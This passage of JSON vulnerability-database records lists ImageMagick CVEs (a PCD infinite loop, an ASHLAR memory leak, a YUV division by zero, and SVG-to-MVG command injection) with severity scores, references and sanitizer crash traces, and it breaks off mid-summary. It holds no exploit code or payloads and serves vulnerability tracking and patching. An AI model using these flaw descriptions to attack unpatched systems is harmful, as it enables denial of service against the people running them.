k/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/7cfae4da24a995fb05386d77364ff404a7cca7bc","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/7cfae4da24a995fb05386d77364ff404a7cca7bc"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-w8mw-frc6-r7m8","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-28T02:09:37Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-w8mw-frc6-r7m8"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26983","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-26983"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442134","reference_id":"2442134","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442134"},{"reference_url":"https://github.com/advisories/GHSA-w8mw-frc6-r7m8","reference_id":"GHSA-w8mw-frc6-r7m8","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-w8mw-frc6-r7m8"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-26983","GHSA-w8mw-frc6-r7m8"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-jcjk-s89c-mbbm"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/20803?format=json","vulnerability_id":"VCID-jvq6-xjbu-fkb9","summary":"ImageMagick: Infinite loop vulnerability when parsing a PCD file\nWhen a PCD file does not contain a valid marker, the DecodeImage() function becomes trapped in an infinite loop while searching for the marker, causing the program to become unresponsive and continuously consume CPU resources, ultimately leading to system resource exhaustion and denial of service.","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24485.json","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-24485.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24485","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.049","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04888","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04849","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04666","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04815","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04674","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04682","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04696","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.0473","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04742","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04733","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04715","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04698","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00057","scoring_system":"epss","scoring_elements":"0.17962","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-24485"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24485","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-24485"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:48:11Z/"}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:48:11Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/commit/332c1566acc2de77857032d3c2504ead6210ff50"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pqgj-2p96-rx85","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:Y/T:P/P:M/B:A/M:M/D:T/2026-02-26T14:48:11Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-pqgj-2p96-rx85"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24485","reference_id":"","reference_type":"","scores":[{"value":"7.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-24485"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442091","reference_id":"2442091","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442091"},{"reference_url":"https://github.com/advisories/GHSA-pqgj-2p96-rx85","reference_id":"GHSA-pqgj-2p96-rx85","reference_type":"","scores":[{"value":"HIGH","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-pqgj-2p96-rx85"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-24485","GHSA-pqgj-2p96-rx85"],"risk_score":4.0,"exploitability":"0.5","weighted_severity":"8.0","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-jvq6-xjbu-fkb9"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21172?format=json","vulnerability_id":"VCID-kdw5-8y5z-zya5","summary":"ImageMagick: Possible memory leak in ASHLAR encoder\nA memory leak in the ASHLAR image writer allows an attacker to exhaust process memory by providing a crafted image that results in small objects that are allocated but never freed.\n\n```\n==880062== Memcheck, a memory error detector\n==880062== Copyright (C) 2002-2017, and GNU GPL'd, by Julian Seward et al.\n==880062== Using Valgrind-3.18.1 and LibVEX; rerun with -h for copyright info\n==880062== \n==880062== \n==880062== HEAP SUMMARY:\n==880062==     in use at exit: 386,826 bytes in 696 blocks\n==880062==   total heap usage: 30,523 allocs, 29,827 frees, 21,803,756 bytes allocated\n==880062== \n==880062== LEAK SUMMARY:\n==880062==    definitely lost: 3,408 bytes in 3 blocks\n==880062==    indirectly lost: 88,885 bytes in 30 blocks\n==880062==      possibly lost: 140,944 bytes in 383 blocks\n==880062==    still reachable: 151,573 bytes in 259 blocks\n==880062==         suppressed: 0 bytes in 0 blocks\n==880062== Reachable blocks (those to which a pointer was found) are not shown.\n==880062== To see them, rerun with: --leak-check=full --show-leak-kinds=all\n==880062== \n==880062== For lists of detected and suppressed errors, rerun with: -s\n==880062== ERROR SUMMARY: 2 errors from 2 contexts (suppressed: 0 from 0)\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25637.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25637.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25637","reference_id":"","reference_type":"","scores":[{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04716","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.0469","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04656","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00018","scoring_system":"epss","scoring_elements":"0.04614","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17539","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17584","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17366","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17458","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17517","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.1753","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17481","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17429","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.17372","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00056","scoring_system":"epss","scoring_elements":"0.1738","published_at":"2026-04-18T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25637"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/30ce0e8efbd72fd6b50ed3a10ae22f57c8901137","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/30ce0e8efbd72fd6b50ed3a10ae22f57c8901137"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gm37-qx7w-p258","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-gm37-qx7w-p258"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25637","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25637"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442114","reference_id":"2442114","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442114"},{"reference_url":"https://github.com/advisories/GHSA-gm37-qx7w-p258","reference_id":"GHSA-gm37-qx7w-p258","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-gm37-qx7w-p258"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25637","GHSA-gm37-qx7w-p258"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-kdw5-8y5z-zya5"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/21822?format=json","vulnerability_id":"VCID-kefv-kpkk-wudf","summary":"ImageMagick has Division-by-Zero in YUV sampling factor validation, which leads to crash\nA logic error in YUV sampling factor validation allows an invalid sampling factor to bypass checks and trigger a division-by-zero during image loading, resulting in a reliable denial-of-service.\n\n```\ncoders/yuv.c:210:47: runtime error: division by zero\nAddressSanitizer:DEADLYSIGNAL\n=================================================================\n==3543373==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x55deeb4d723c bp 0x7fffc28d34d0 sp 0x7fffc28d3320 T0)\n    #0 0x55deeb4d723c in ReadYUVImage coders/yuv.c:210\n    #1 0x55deeb751dff in ReadImage MagickCore/constitute.c:743\n    #2 0x55deeb756374 in ReadImages MagickCore/constitute.c:1082\n    #3 0x55deec682375 in CLINoImageOperator MagickWand/operation.c:4959\n    #4 0x55deec6887ed in CLIOption MagickWand/operation.c:5473\n    #5 0x55deec32843b in ProcessCommandOptions MagickWand/magick-cli.c:653\n    #6 0x55deec32b99b in MagickImageCommand MagickWand/magick-cli.c:1392\n    #7 0x55deec324d58 in MagickCommandGenesis MagickWand/magick-cli.c:177\n    #8 0x55deead82519 in MagickMain utilities/magick.c:162\n    #9 0x55deead828be in main utilities/magick.c:193\n    #10 0x7fb90807fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #11 0x7fb90807fe3f in __libc_start_main_impl ../csu/libc-start.c:392\n    #12 0x55deead81974 in _start (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x22fb974)\n\nAddressSanitizer can not provide additional info.\nSUMMARY: AddressSanitizer: UNKNOWN SIGNAL coders/yuv.c:210 in ReadYUVImage\n==3543373==ABORTING\n```","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25799.json","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-25799.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25799","reference_id":"","reference_type":"","scores":[{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05342","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05337","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05294","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05259","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05106","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05102","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05159","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05172","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05189","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05219","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05202","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05147","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00019","scoring_system":"epss","scoring_elements":"0.05168","published_at":"2026-04-07T12:55:00Z"},{"value":"0.0006","scoring_system":"epss","scoring_elements":"0.19061","published_at":"2026-04-02T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-25799"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25799","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-25799"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.10.3"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/49000e7298fbfdd759ac2c46f740f40c2e9b7452","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/49000e7298fbfdd759ac2c46f740f40c2e9b7452"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-543g-8grm-9cw6","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-02-26T15:22:05Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-543g-8grm-9cw6"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25799","reference_id":"","reference_type":"","scores":[{"value":"5.3","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"MODERATE","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25799"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442120","reference_id":"2442120","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2442120"},{"reference_url":"https://github.com/advisories/GHSA-543g-8grm-9cw6","reference_id":"GHSA-543g-8grm-9cw6","reference_type":"","scores":[{"value":"MODERATE","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-543g-8grm-9cw6"},{"reference_url":"https://usn.ubuntu.com/8127-1/","reference_id":"USN-8127-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/8127-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["CVE-2026-25799","GHSA-543g-8grm-9cw6"],"risk_score":3.1,"exploitability":"0.5","weighted_severity":"6.2","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-kefv-kpkk-wudf"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/22099?format=json","vulnerability_id":"VCID-mntx-6yku-3qcx","summary":"ImageMagick: SVG-to-MVG Command Injection via coders/svg.c\nAn attacker can inject arbitrary MVG (Magick Vector Graphics) drawing commands in an SVG file that is read by the internal SVG decoder of ImageMagick. The injected MVG commands execute during 